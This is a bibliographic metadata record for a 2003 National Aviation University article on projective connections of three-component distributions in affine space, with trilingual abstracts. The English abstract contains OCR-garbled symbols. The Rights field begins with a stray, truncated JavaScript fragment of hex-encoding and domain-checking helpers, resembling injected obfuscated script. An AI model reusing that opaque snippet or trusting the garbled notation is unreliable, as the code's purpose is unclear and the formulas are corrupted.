NAU Harvester System
Простір проективної зв’язності
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Простір проективної зв’язності
Пространство проективной связности Projective connection space |
|
| Creator |
Grebenyuk, M. F.; Національний авіаційний університет
Klokova, L. F.; Калінінградська вища школа мененджменту |
|
| Subject |
—
— УДК 514.763 — — — — — UDC 514.763 |
|
| Description |
Розглянуто трискладові розподіли (Н(М(Л))-розподіли) афінного простору. Доведено, що проективна зв’язність Г для трискладового розподілу визначена внутрішнім чином у диференціальному околі другого порядку і належить до типу проективних зв’язностей. Отримано компоненти тензора кривини - скруту простору проективної зв’язності
Рассмотрены трехсоставные распределения (Н(М(Л))-распределения) аффинного пространства. Доказано, что проективная связность Г для трехсоставного распределения определена внутренним образом в дифференциальной окрестности второго порядка и принадлежит к типу проективных связностей. Получены компоненты тензора кривизны - кручения пространства проективной связности The article deals with the differential geometry of (n+l)-dimensional affine space An+l. The three- component distributions (H(M(A))-distributions) of affine space are discussed. The geometrical objects {If}, {№}, which are quasitenzors of the second order of the three-component distribution, have been constructed. These objects determine the normals of the first kind of the basic distribution by an inner invariant method in the second differential neighborhood of forming element of the three-component distribution. It has been proved that projective connection Tfor the three-component distribution is defined by an inner way in the differential neighborhood of the second order and belongs to the type of the projective connections which are defined by the way ofprojection |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2003-06-24
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/11918
10.18372/2306-1472.2.11918 |
|
| Source |
Proceedings of the National Aviation University; Том 17, № 2 (2003); 73-76
Вестник Национального авиационного университета; Том 17, № 2 (2003); 73-76 Вісник Національного Авіаційного Університету; Том 17, № 2 (2003); 73-76 |
|
| Language |
en
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access). |
|